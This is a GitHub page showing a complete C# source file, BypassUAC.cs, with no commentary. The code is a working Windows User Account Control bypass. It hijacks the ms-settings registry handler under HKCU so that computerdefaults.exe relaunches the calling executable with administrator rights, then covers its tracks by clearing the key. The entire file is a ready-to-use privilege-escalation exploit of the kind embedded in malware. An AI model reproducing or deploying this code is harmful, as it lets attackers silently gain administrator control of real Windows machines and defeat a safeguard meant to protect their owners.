-
Notifications
You must be signed in to change notification settings - Fork 1
/
BypassUAC.cs
64 lines (54 loc) · 1.85 KB
/
BypassUAC.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
using Microsoft.Win32;
using System.Diagnostics;
using System.Security.Principal;
public class BypassUAC
{
public static void DoBypass()
{
if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator))
{
Modify("Classes");
Modify("Classes\\ms-settings");
Modify("Classes\\ms-settings\\shell");
Modify("Classes\\ms-settings\\shell\\open");
RegistryKey registryKey = Modify("Classes\\ms-settings\\shell\\open\\command");
string cpath = System.Reflection.Assembly.GetExecutingAssembly().Location;
registryKey.SetValue("", cpath, RegistryValueKind.String);
registryKey.SetValue("DelegateExecute", 0, RegistryValueKind.DWord);
registryKey.Close();
try
{
Process.Start(new ProcessStartInfo
{
CreateNoWindow = true,
UseShellExecute = false,
FileName = "cmd.exe",
Arguments = "/c start computerdefaults.exe"
});
}
catch
{
}
Process.GetCurrentProcess().Kill();
}
else
{
RegistryKey registryKey2 = Modify("Classes\\ms-settings\\shell\\open\\command");
registryKey2.SetValue("", "", RegistryValueKind.String);
}
}
public static RegistryKey Modify(string x)
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\" + x, true);
if (!CheckSubKey(registryKey))
{
registryKey = Registry.CurrentUser.CreateSubKey("Software\\" + x);
}
return registryKey;
}
public static bool CheckSubKey(RegistryKey k)
{
bool flag = k == null;
return !flag;
}
}